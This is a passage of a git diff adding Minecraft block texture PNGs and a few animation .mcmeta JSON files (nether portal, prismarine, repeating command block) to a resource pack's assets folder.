mode 100644 index 00000000..194114a0 Binary files /dev/null and b/src/assets/minecraft/textures/block/mushroom_block_inside.png differ diff --git a/src/assets/minecraft/textures/block/mushroom_stem.png b/src/assets/minecraft/textures/block/mushroom_stem.png new file mode 100644 index 00000000..ad6af2c4 Binary files /dev/null and b/src/assets/minecraft/textures/block/mushroom_stem.png differ diff --git a/src/assets/minecraft/textures/block/mycelium_side.png b/src/assets/minecraft/textures/block/mycelium_side.png new file mode 100644 index 00000000..8522236b Binary files /dev/null and b/src/assets/minecraft/textures/block/mycelium_side.png differ diff --git a/src/assets/minecraft/textures/block/mycelium_top.png b/src/assets/minecraft/textures/block/mycelium_top.png new file mode 100644 index 00000000..d98ad615 Binary files /dev/null and b/src/assets/minecraft/textures/block/mycelium_top.png differ diff --git a/src/assets/minecraft/textures/block/nether_bricks.png b/src/assets/minecraft/textures/block/nether_bricks.png new file mode 100644 index 00000000..c64b3691 Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_bricks.png differ diff --git a/src/assets/minecraft/textures/block/nether_gold_ore.png b/src/assets/minecraft/textures/block/nether_gold_ore.png new file mode 100644 index 00000000..4c807fad Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_gold_ore.png differ diff --git a/src/assets/minecraft/textures/block/nether_portal.png b/src/assets/minecraft/textures/block/nether_portal.png new file mode 100644 index 00000000..42d4a756 Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_portal.png differ diff --git a/src/assets/minecraft/textures/block/nether_portal.png.mcmeta b/src/assets/minecraft/textures/block/nether_portal.png.mcmeta new file mode 100644 index 00000000..4f0718ac --- /dev/null +++ b/src/assets/minecraft/textures/block/nether_portal.png.mcmeta @@ -0,0 +1,3 @@ +{ + "animation": {} +} \ No newline at end of file diff --git a/src/assets/minecraft/textures/block/nether_quartz_ore.png b/src/assets/minecraft/textures/block/nether_quartz_ore.png new file mode 100644 index 00000000..84079380 Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_quartz_ore.png differ diff --git a/src/assets/minecraft/textures/block/nether_sprouts.png b/src/assets/minecraft/textures/block/nether_sprouts.png new file mode 100644 index 00000000..818cc444 Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_sprouts.png differ diff --git a/src/assets/minecraft/textures/block/nether_wart_block.png b/src/assets/minecraft/textures/block/nether_wart_block.png new file mode 100644 index 00000000..fee89b53 Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_wart_block.png differ diff --git a/src/assets/minecraft/textures/block/nether_wart_stage0.png b/src/assets/minecraft/textures/block/nether_wart_stage0.png new file mode 100644 index 00000000..c4223348 Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_wart_stage0.png differ diff --git a/src/assets/minecraft/textures/block/nether_wart_stage1.png b/src/assets/minecraft/textures/block/nether_wart_stage1.png new file mode 100644 index 00000000..7051185c Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_wart_stage1.png differ diff --git a/src/assets/minecraft/textures/block/nether_wart_stage2.png b/src/assets/minecraft/textures/block/nether_wart_stage2.png new file mode 100644 index 00000000..b3d724bb Binary files /dev/null and b/src/assets/minecraft/textures/block/nether_wart_stage2.png differ diff --git a/src/assets/minecraft/textures/block/netherite_block.png b/src/assets/minecraft/textures/block/netherite_block.png new file mode 100644 index 00000000..60957f01 Binary files /dev/null and b/src/assets/minecraft/textures/block/netherite_block.png differ diff --git a/src/assets/minecraft/textures/block/netherrack.png b/src/assets/minecraft/textures/block/netherrack.png new file mode 100644 index 00000000..50b56218 Binary files /dev/null and b/src/assets/minecraft/textures/block/netherrack.png differ diff --git a/src/assets/minecraft/textures/block/note_block.png b/src/assets/minecraft/textures/block/note_block.png new file mode 100644 index 00000000..40ecc58a Binary files /dev/null and b/src/assets/minecraft/textures/block/note_block.png differ diff --git a/src/assets/minecraft/textures/block/oak_door_bottom.png b/src/assets/minecraft/textures/block/oak_door_bottom.png new file mode 100644 index 00000000..bccd102a Binary files /dev/null and b/src/assets/minecraft/textures/block/oak_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/oak_door_top.png b/src/assets/minecraft/textures/block/oak_door_top.png new file mode 100644 index 00000000..73748aa4 Binary files /dev/null and b/src/assets/minecraft/textures/block/oak_door_top.png differ diff --git a/src/assets/minecraft/textures/block/oak_leaves.png b/src/assets/minecraft/textures/block/oak_leaves.png new file mode 100644 index 00000000..02e8b865 Binary files /dev/null and b/src/assets/minecraft/textures/block/oak_leaves.png differ diff --git a/src/assets/minecraft/textures/block/oak_log.png b/src/assets/minecraft/textures/block/oak_log.png new file mode 100644 index 00000000..842ffab5 Binary files /dev/null and b/src/assets/minecraft/textures/block/oak_log.png differ diff --git a/src/assets/minecraft/textures/block/oak_log_top.png b/src/assets/minecraft/textures/block/oak_log_top.png new file mode 100644 index 00000000..27f1abac Binary files /dev/null and b/src/assets/minecraft/textures/block/oak_log_top.png differ diff --git a/src/assets/minecraft/textures/block/oak_planks.png b/src/assets/minecraft/textures/block/oak_planks.png new file mode 100644 index 00000000..5de38610 Binary files /dev/null and b/src/assets/minecraft/textures/block/oak_planks.png differ diff --git a/src/assets/minecraft/textures/block/oak_sapling.png b/src/assets/minecraft/textures/block/oak_sapling.png new file mode 100644 index 00000000..7ac141a0 Binary files /dev/null and b/src/assets/minecraft/textures/block/oak_sapling.png differ diff --git a/src/assets/minecraft/textures/block/oak_trapdoor.png b/src/assets/minecraft/textures/block/oak_trapdoor.png new file mode 100644 index 00000000..cba143b9 Binary files /dev/null and b/src/assets/minecraft/textures/block/oak_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/observer_back.png b/src/assets/minecraft/textures/block/observer_back.png new file mode 100644 index 00000000..c9f6f3cb Binary files /dev/null and b/src/assets/minecraft/textures/block/observer_back.png differ diff --git a/src/assets/minecraft/textures/block/observer_back_on.png b/src/assets/minecraft/textures/block/observer_back_on.png new file mode 100644 index 00000000..07a42a95 Binary files /dev/null and b/src/assets/minecraft/textures/block/observer_back_on.png differ diff --git a/src/assets/minecraft/textures/block/observer_front.png b/src/assets/minecraft/textures/block/observer_front.png new file mode 100644 index 00000000..46321305 Binary files /dev/null and b/src/assets/minecraft/textures/block/observer_front.png differ diff --git a/src/assets/minecraft/textures/block/observer_side.png b/src/assets/minecraft/textures/block/observer_side.png new file mode 100644 index 00000000..c157097a Binary files /dev/null and b/src/assets/minecraft/textures/block/observer_side.png differ diff --git a/src/assets/minecraft/textures/block/observer_top.png b/src/assets/minecraft/textures/block/observer_top.png new file mode 100644 index 00000000..58ab1e97 Binary files /dev/null and b/src/assets/minecraft/textures/block/observer_top.png differ diff --git a/src/assets/minecraft/textures/block/obsidian.png b/src/assets/minecraft/textures/block/obsidian.png new file mode 100644 index 00000000..b9e09060 Binary files /dev/null and b/src/assets/minecraft/textures/block/obsidian.png differ diff --git a/src/assets/minecraft/textures/block/orange_concrete.png b/src/assets/minecraft/textures/block/orange_concrete.png new file mode 100644 index 00000000..243bbc82 Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_concrete.png differ diff --git a/src/assets/minecraft/textures/block/orange_concrete_powder.png b/src/assets/minecraft/textures/block/orange_concrete_powder.png new file mode 100644 index 00000000..2fb6f15f Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/orange_glazed_terracotta.png b/src/assets/minecraft/textures/block/orange_glazed_terracotta.png new file mode 100644 index 00000000..4e2d3d2e Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/orange_shulker_box.png b/src/assets/minecraft/textures/block/orange_shulker_box.png new file mode 100644 index 00000000..a722de19 Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/orange_stained_glass.png b/src/assets/minecraft/textures/block/orange_stained_glass.png new file mode 100644 index 00000000..31c4465b Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/orange_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/orange_stained_glass_pane_top.png new file mode 100644 index 00000000..2866571b Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/orange_terracotta.png b/src/assets/minecraft/textures/block/orange_terracotta.png new file mode 100644 index 00000000..9ccdb4b3 Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/orange_tulip.png b/src/assets/minecraft/textures/block/orange_tulip.png new file mode 100644 index 00000000..2966062c Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_tulip.png differ diff --git a/src/assets/minecraft/textures/block/orange_wool.png b/src/assets/minecraft/textures/block/orange_wool.png new file mode 100644 index 00000000..61c1e4b2 Binary files /dev/null and b/src/assets/minecraft/textures/block/orange_wool.png differ diff --git a/src/assets/minecraft/textures/block/oxeye_daisy.png b/src/assets/minecraft/textures/block/oxeye_daisy.png new file mode 100644 index 00000000..3407d6fc Binary files /dev/null and b/src/assets/minecraft/textures/block/oxeye_daisy.png differ diff --git a/src/assets/minecraft/textures/block/packed_ice.png b/src/assets/minecraft/textures/block/packed_ice.png new file mode 100644 index 00000000..c72f89b3 Binary files /dev/null and b/src/assets/minecraft/textures/block/packed_ice.png differ diff --git a/src/assets/minecraft/textures/block/peony_bottom.png b/src/assets/minecraft/textures/block/peony_bottom.png new file mode 100644 index 00000000..2e3f41ed Binary files /dev/null and b/src/assets/minecraft/textures/block/peony_bottom.png differ diff --git a/src/assets/minecraft/textures/block/peony_top.png b/src/assets/minecraft/textures/block/peony_top.png new file mode 100644 index 00000000..b13b457e Binary files /dev/null and b/src/assets/minecraft/textures/block/peony_top.png differ diff --git a/src/assets/minecraft/textures/block/pink_concrete.png b/src/assets/minecraft/textures/block/pink_concrete.png new file mode 100644 index 00000000..dd1950f7 Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_concrete.png differ diff --git a/src/assets/minecraft/textures/block/pink_concrete_powder.png b/src/assets/minecraft/textures/block/pink_concrete_powder.png new file mode 100644 index 00000000..9f6a6bb7 Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/pink_glazed_terracotta.png b/src/assets/minecraft/textures/block/pink_glazed_terracotta.png new file mode 100644 index 00000000..30a1975d Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/pink_shulker_box.png b/src/assets/minecraft/textures/block/pink_shulker_box.png new file mode 100644 index 00000000..e817f960 Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/pink_stained_glass.png b/src/assets/minecraft/textures/block/pink_stained_glass.png new file mode 100644 index 00000000..85dd6a0d Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/pink_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/pink_stained_glass_pane_top.png new file mode 100644 index 00000000..6b6cd768 Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/pink_terracotta.png b/src/assets/minecraft/textures/block/pink_terracotta.png new file mode 100644 index 00000000..7ffea8d1 Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/pink_tulip.png b/src/assets/minecraft/textures/block/pink_tulip.png new file mode 100644 index 00000000..08b02c50 Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_tulip.png differ diff --git a/src/assets/minecraft/textures/block/pink_wool.png b/src/assets/minecraft/textures/block/pink_wool.png new file mode 100644 index 00000000..17ef62bb Binary files /dev/null and b/src/assets/minecraft/textures/block/pink_wool.png differ diff --git a/src/assets/minecraft/textures/block/piston_bottom.png b/src/assets/minecraft/textures/block/piston_bottom.png new file mode 100644 index 00000000..db43b1c2 Binary files /dev/null and b/src/assets/minecraft/textures/block/piston_bottom.png differ diff --git a/src/assets/minecraft/textures/block/piston_inner.png b/src/assets/minecraft/textures/block/piston_inner.png new file mode 100644 index 00000000..7ae58fc6 Binary files /dev/null and b/src/assets/minecraft/textures/block/piston_inner.png differ diff --git a/src/assets/minecraft/textures/block/piston_side.png b/src/assets/minecraft/textures/block/piston_side.png new file mode 100644 index 00000000..db5d89cb Binary files /dev/null and b/src/assets/minecraft/textures/block/piston_side.png differ diff --git a/src/assets/minecraft/textures/block/piston_top.png b/src/assets/minecraft/textures/block/piston_top.png new file mode 100644 index 00000000..320c97b4 Binary files /dev/null and b/src/assets/minecraft/textures/block/piston_top.png differ diff --git a/src/assets/minecraft/textures/block/piston_top_sticky.png b/src/assets/minecraft/textures/block/piston_top_sticky.png new file mode 100644 index 00000000..048e0c62 Binary files /dev/null and b/src/assets/minecraft/textures/block/piston_top_sticky.png differ diff --git a/src/assets/minecraft/textures/block/podzol_side.png b/src/assets/minecraft/textures/block/podzol_side.png new file mode 100644 index 00000000..89a328b2 Binary files /dev/null and b/src/assets/minecraft/textures/block/podzol_side.png differ diff --git a/src/assets/minecraft/textures/block/podzol_top.png b/src/assets/minecraft/textures/block/podzol_top.png new file mode 100644 index 00000000..fed52580 Binary files /dev/null and b/src/assets/minecraft/textures/block/podzol_top.png differ diff --git a/src/assets/minecraft/textures/block/polished_andesite.png b/src/assets/minecraft/textures/block/polished_andesite.png new file mode 100644 index 00000000..63b8bd08 Binary files /dev/null and b/src/assets/minecraft/textures/block/polished_andesite.png differ diff --git a/src/assets/minecraft/textures/block/polished_basalt_side.png b/src/assets/minecraft/textures/block/polished_basalt_side.png new file mode 100644 index 00000000..2530a331 Binary files /dev/null and b/src/assets/minecraft/textures/block/polished_basalt_side.png differ diff --git a/src/assets/minecraft/textures/block/polished_basalt_top.png b/src/assets/minecraft/textures/block/polished_basalt_top.png new file mode 100644 index 00000000..71a92db2 Binary files /dev/null and b/src/assets/minecraft/textures/block/polished_basalt_top.png differ diff --git a/src/assets/minecraft/textures/block/polished_blackstone.png b/src/assets/minecraft/textures/block/polished_blackstone.png new file mode 100644 index 00000000..752e02be Binary files /dev/null and b/src/assets/minecraft/textures/block/polished_blackstone.png differ diff --git a/src/assets/minecraft/textures/block/polished_blackstone_bricks.png b/src/assets/minecraft/textures/block/polished_blackstone_bricks.png new file mode 100644 index 00000000..c89564f2 Binary files /dev/null and b/src/assets/minecraft/textures/block/polished_blackstone_bricks.png differ diff --git a/src/assets/minecraft/textures/block/polished_diorite.png b/src/assets/minecraft/textures/block/polished_diorite.png new file mode 100644 index 00000000..3043aa30 Binary files /dev/null and b/src/assets/minecraft/textures/block/polished_diorite.png differ diff --git a/src/assets/minecraft/textures/block/polished_granite.png b/src/assets/minecraft/textures/block/polished_granite.png new file mode 100644 index 00000000..58f0c156 Binary files /dev/null and b/src/assets/minecraft/textures/block/polished_granite.png differ diff --git a/src/assets/minecraft/textures/block/poppy.png b/src/assets/minecraft/textures/block/poppy.png new file mode 100644 index 00000000..059d8b47 Binary files /dev/null and b/src/assets/minecraft/textures/block/poppy.png differ diff --git a/src/assets/minecraft/textures/block/potatoes_stage0.png b/src/assets/minecraft/textures/block/potatoes_stage0.png new file mode 100644 index 00000000..e83ecf8e Binary files /dev/null and b/src/assets/minecraft/textures/block/potatoes_stage0.png differ diff --git a/src/assets/minecraft/textures/block/potatoes_stage1.png b/src/assets/minecraft/textures/block/potatoes_stage1.png new file mode 100644 index 00000000..ef739467 Binary files /dev/null and b/src/assets/minecraft/textures/block/potatoes_stage1.png differ diff --git a/src/assets/minecraft/textures/block/potatoes_stage2.png b/src/assets/minecraft/textures/block/potatoes_stage2.png new file mode 100644 index 00000000..7e9a9298 Binary files /dev/null and b/src/assets/minecraft/textures/block/potatoes_stage2.png differ diff --git a/src/assets/minecraft/textures/block/potatoes_stage3.png b/src/assets/minecraft/textures/block/potatoes_stage3.png new file mode 100644 index 00000000..f32cbc16 Binary files /dev/null and b/src/assets/minecraft/textures/block/potatoes_stage3.png differ diff --git a/src/assets/minecraft/textures/block/powered_rail.png b/src/assets/minecraft/textures/block/powered_rail.png new file mode 100644 index 00000000..4353bf77 Binary files /dev/null and b/src/assets/minecraft/textures/block/powered_rail.png differ diff --git a/src/assets/minecraft/textures/block/powered_rail_on.png b/src/assets/minecraft/textures/block/powered_rail_on.png new file mode 100644 index 00000000..55f18f40 Binary files /dev/null and b/src/assets/minecraft/textures/block/powered_rail_on.png differ diff --git a/src/assets/minecraft/textures/block/prismarine.png b/src/assets/minecraft/textures/block/prismarine.png new file mode 100644 index 00000000..e45234b3 Binary files /dev/null and b/src/assets/minecraft/textures/block/prismarine.png differ diff --git a/src/assets/minecraft/textures/block/prismarine.png.mcmeta b/src/assets/minecraft/textures/block/prismarine.png.mcmeta new file mode 100644 index 00000000..410b327f --- /dev/null +++ b/src/assets/minecraft/textures/block/prismarine.png.mcmeta @@ -0,0 +1,30 @@ +{ + "animation": { + "frametime": 300, + "interpolate": true, + "frames": [ + 0, + 1, + 0, + 2, + 0, + 3, + 0, + 1, + 2, + 1, + 3, + 1, + 0, + 2, + 1, + 2, + 3, + 2, + 0, + 3, + 1, + 3 + ] + } +} diff --git a/src/assets/minecraft/textures/block/prismarine_bricks.png b/src/assets/minecraft/textures/block/prismarine_bricks.png new file mode 100644 index 00000000..ee2b8063 Binary files /dev/null and b/src/assets/minecraft/textures/block/prismarine_bricks.png differ diff --git a/src/assets/minecraft/textures/block/pumpkin_side.png b/src/assets/minecraft/textures/block/pumpkin_side.png new file mode 100644 index 00000000..8d7b643e Binary files /dev/null and b/src/assets/minecraft/textures/block/pumpkin_side.png differ diff --git a/src/assets/minecraft/textures/block/pumpkin_stem.png b/src/assets/minecraft/textures/block/pumpkin_stem.png new file mode 100644 index 00000000..da7787fe Binary files /dev/null and b/src/assets/minecraft/textures/block/pumpkin_stem.png differ diff --git a/src/assets/minecraft/textures/block/pumpkin_top.png b/src/assets/minecraft/textures/block/pumpkin_top.png new file mode 100644 index 00000000..59a5fbd0 Binary files /dev/null and b/src/assets/minecraft/textures/block/pumpkin_top.png differ diff --git a/src/assets/minecraft/textures/block/purple_concrete.png b/src/assets/minecraft/textures/block/purple_concrete.png new file mode 100644 index 00000000..bf90f745 Binary files /dev/null and b/src/assets/minecraft/textures/block/purple_concrete.png differ diff --git a/src/assets/minecraft/textures/block/purple_concrete_powder.png b/src/assets/minecraft/textures/block/purple_concrete_powder.png new file mode 100644 index 00000000..aa1b1ac3 Binary files /dev/null and b/src/assets/minecraft/textures/block/purple_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/purple_glazed_terracotta.png b/src/assets/minecraft/textures/block/purple_glazed_terracotta.png new file mode 100644 index 00000000..d0f9e68f Binary files /dev/null and b/src/assets/minecraft/textures/block/purple_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/purple_shulker_box.png b/src/assets/minecraft/textures/block/purple_shulker_box.png new file mode 100644 index 00000000..0416ed90 Binary files /dev/null and b/src/assets/minecraft/textures/block/purple_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/purple_stained_glass.png b/src/assets/minecraft/textures/block/purple_stained_glass.png new file mode 100644 index 00000000..fed02859 Binary files /dev/null and b/src/assets/minecraft/textures/block/purple_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/purple_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/purple_stained_glass_pane_top.png new file mode 100644 index 00000000..23e208ed Binary files /dev/null and b/src/assets/minecraft/textures/block/purple_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/purple_terracotta.png b/src/assets/minecraft/textures/block/purple_terracotta.png new file mode 100644 index 00000000..8bee14ea Binary files /dev/null and b/src/assets/minecraft/textures/block/purple_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/purple_wool.png b/src/assets/minecraft/textures/block/purple_wool.png new file mode 100644 index 00000000..08d4ee0e Binary files /dev/null and b/src/assets/minecraft/textures/block/purple_wool.png differ diff --git a/src/assets/minecraft/textures/block/purpur_block.png b/src/assets/minecraft/textures/block/purpur_block.png new file mode 100644 index 00000000..69c38981 Binary files /dev/null and b/src/assets/minecraft/textures/block/purpur_block.png differ diff --git a/src/assets/minecraft/textures/block/purpur_pillar.png b/src/assets/minecraft/textures/block/purpur_pillar.png new file mode 100644 index 00000000..e22d27be Binary files /dev/null and b/src/assets/minecraft/textures/block/purpur_pillar.png differ diff --git a/src/assets/minecraft/textures/block/purpur_pillar_top.png b/src/assets/minecraft/textures/block/purpur_pillar_top.png new file mode 100644 index 00000000..6209035c Binary files /dev/null and b/src/assets/minecraft/textures/block/purpur_pillar_top.png differ diff --git a/src/assets/minecraft/textures/block/quartz_block_bottom.png b/src/assets/minecraft/textures/block/quartz_block_bottom.png new file mode 100644 index 00000000..3f832aa3 Binary files /dev/null and b/src/assets/minecraft/textures/block/quartz_block_bottom.png differ diff --git a/src/assets/minecraft/textures/block/quartz_block_side.png b/src/assets/minecraft/textures/block/quartz_block_side.png new file mode 100644 index 00000000..872d6bbe Binary files /dev/null and b/src/assets/minecraft/textures/block/quartz_block_side.png differ diff --git a/src/assets/minecraft/textures/block/quartz_block_top.png b/src/assets/minecraft/textures/block/quartz_block_top.png new file mode 100644 index 00000000..872d6bbe Binary files /dev/null and b/src/assets/minecraft/textures/block/quartz_block_top.png differ diff --git a/src/assets/minecraft/textures/block/quartz_bricks.png b/src/assets/minecraft/textures/block/quartz_bricks.png new file mode 100644 index 00000000..13d2f22c Binary files /dev/null and b/src/assets/minecraft/textures/block/quartz_bricks.png differ diff --git a/src/assets/minecraft/textures/block/quartz_pillar.png b/src/assets/minecraft/textures/block/quartz_pillar.png new file mode 100644 index 00000000..1046b754 Binary files /dev/null and b/src/assets/minecraft/textures/block/quartz_pillar.png differ diff --git a/src/assets/minecraft/textures/block/quartz_pillar_top.png b/src/assets/minecraft/textures/block/quartz_pillar_top.png new file mode 100644 index 00000000..41f5e144 Binary files /dev/null and b/src/assets/minecraft/textures/block/quartz_pillar_top.png differ diff --git a/src/assets/minecraft/textures/block/rail.png b/src/assets/minecraft/textures/block/rail.png new file mode 100644 index 00000000..0044ebb2 Binary files /dev/null and b/src/assets/minecraft/textures/block/rail.png differ diff --git a/src/assets/minecraft/textures/block/rail_corner.png b/src/assets/minecraft/textures/block/rail_corner.png new file mode 100644 index 00000000..2b4f3307 Binary files /dev/null and b/src/assets/minecraft/textures/block/rail_corner.png differ diff --git a/src/assets/minecraft/textures/block/red_concrete.png b/src/assets/minecraft/textures/block/red_concrete.png new file mode 100644 index 00000000..7f978842 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_concrete.png differ diff --git a/src/assets/minecraft/textures/block/red_concrete_powder.png b/src/assets/minecraft/textures/block/red_concrete_powder.png new file mode 100644 index 00000000..7612112e Binary files /dev/null and b/src/assets/minecraft/textures/block/red_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/red_glazed_terracotta.png b/src/assets/minecraft/textures/block/red_glazed_terracotta.png new file mode 100644 index 00000000..ee46623b Binary files /dev/null and b/src/assets/minecraft/textures/block/red_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/red_mushroom.png b/src/assets/minecraft/textures/block/red_mushroom.png new file mode 100644 index 00000000..cb7e1124 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_mushroom.png differ diff --git a/src/assets/minecraft/textures/block/red_mushroom_block.png b/src/assets/minecraft/textures/block/red_mushroom_block.png new file mode 100644 index 00000000..a77969e3 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_mushroom_block.png differ diff --git a/src/assets/minecraft/textures/block/red_nether_bricks.png b/src/assets/minecraft/textures/block/red_nether_bricks.png new file mode 100644 index 00000000..b8569522 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_nether_bricks.png differ diff --git a/src/assets/minecraft/textures/block/red_sand.png b/src/assets/minecraft/textures/block/red_sand.png new file mode 100644 index 00000000..7a389826 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_sand.png differ diff --git a/src/assets/minecraft/textures/block/red_sandstone.png b/src/assets/minecraft/textures/block/red_sandstone.png new file mode 100644 index 00000000..70e7c323 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_sandstone.png differ diff --git a/src/assets/minecraft/textures/block/red_sandstone_bottom.png b/src/assets/minecraft/textures/block/red_sandstone_bottom.png new file mode 100644 index 00000000..efbfeb60 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_sandstone_bottom.png differ diff --git a/src/assets/minecraft/textures/block/red_sandstone_top.png b/src/assets/minecraft/textures/block/red_sandstone_top.png new file mode 100644 index 00000000..defc7676 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_sandstone_top.png differ diff --git a/src/assets/minecraft/textures/block/red_shulker_box.png b/src/assets/minecraft/textures/block/red_shulker_box.png new file mode 100644 index 00000000..00147c5d Binary files /dev/null and b/src/assets/minecraft/textures/block/red_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/red_stained_glass.png b/src/assets/minecraft/textures/block/red_stained_glass.png new file mode 100644 index 00000000..99bcc063 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/red_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/red_stained_glass_pane_top.png new file mode 100644 index 00000000..22b69dba Binary files /dev/null and b/src/assets/minecraft/textures/block/red_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/red_terracotta.png b/src/assets/minecraft/textures/block/red_terracotta.png new file mode 100644 index 00000000..e0e800b6 Binary files /dev/null and b/src/assets/minecraft/textures/block/red_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/red_tulip.png b/src/assets/minecraft/textures/block/red_tulip.png new file mode 100644 index 00000000..b9d29b5d Binary files /dev/null and b/src/assets/minecraft/textures/block/red_tulip.png differ diff --git a/src/assets/minecraft/textures/block/red_wool.png b/src/assets/minecraft/textures/block/red_wool.png new file mode 100644 index 00000000..f11cbccb Binary files /dev/null and b/src/assets/minecraft/textures/block/red_wool.png differ diff --git a/src/assets/minecraft/textures/block/redstone_block.png b/src/assets/minecraft/textures/block/redstone_block.png new file mode 100644 index 00000000..4391e518 Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_block.png differ diff --git a/src/assets/minecraft/textures/block/redstone_dust_dot.png b/src/assets/minecraft/textures/block/redstone_dust_dot.png new file mode 100644 index 00000000..ab8866d8 Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_dust_dot.png differ diff --git a/src/assets/minecraft/textures/block/redstone_dust_line0.png b/src/assets/minecraft/textures/block/redstone_dust_line0.png new file mode 100644 index 00000000..064b107b Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_dust_line0.png differ diff --git a/src/assets/minecraft/textures/block/redstone_dust_line1.png b/src/assets/minecraft/textures/block/redstone_dust_line1.png new file mode 100644 index 00000000..8e8a700f Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_dust_line1.png differ diff --git a/src/assets/minecraft/textures/block/redstone_dust_overlay.png b/src/assets/minecraft/textures/block/redstone_dust_overlay.png new file mode 100644 index 00000000..fd68e0a3 Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_dust_overlay.png differ diff --git a/src/assets/minecraft/textures/block/redstone_lamp.png b/src/assets/minecraft/textures/block/redstone_lamp.png new file mode 100644 index 00000000..36091677 Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_lamp.png differ diff --git a/src/assets/minecraft/textures/block/redstone_lamp_on.png b/src/assets/minecraft/textures/block/redstone_lamp_on.png new file mode 100644 index 00000000..d8922271 Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_lamp_on.png differ diff --git a/src/assets/minecraft/textures/block/redstone_ore.png b/src/assets/minecraft/textures/block/redstone_ore.png new file mode 100644 index 00000000..7e696c15 Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_ore.png differ diff --git a/src/assets/minecraft/textures/block/redstone_torch.png b/src/assets/minecraft/textures/block/redstone_torch.png new file mode 100644 index 00000000..d49a7a9d Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_torch.png differ diff --git a/src/assets/minecraft/textures/block/redstone_torch_off.png b/src/assets/minecraft/textures/block/redstone_torch_off.png new file mode 100644 index 00000000..cd82b641 Binary files /dev/null and b/src/assets/minecraft/textures/block/redstone_torch_off.png differ diff --git a/src/assets/minecraft/textures/block/repeater.png b/src/assets/minecraft/textures/block/repeater.png new file mode 100644 index 00000000..3daa5e6d Binary files /dev/null and b/src/assets/minecraft/textures/block/repeater.png differ diff --git a/src/assets/minecraft/textures/block/repeater_on.png b/src/assets/minecraft/textures/block/repeater_on.png new file mode 100644 index 00000000..2e6c2ac6 Binary files /dev/null and b/src/assets/minecraft/textures/block/repeater_on.png differ diff --git a/src/assets/minecraft/textures/block/repeating_command_block_back.png b/src/assets/minecraft/textures/block/repeating_command_block_back.png new file mode 100644 index 00000000..31cc42ee Binary files /dev/null and b/src/assets/minecraft/textures/block/repeating_command_block_back.png differ diff --git a/src/assets/minecraft/textures/block/repeating_command_block_back.png.mcmeta b/src/assets/minecraft/textures/block/repeating_command_block_back.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/repeating_command_block_back.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/repeating_command_block_conditional.png b/src/assets/minecraft/textures/block/repeating_command_block_conditional.png new file mode 100644 index 00000000..28cbe675 Binary files /dev/null and 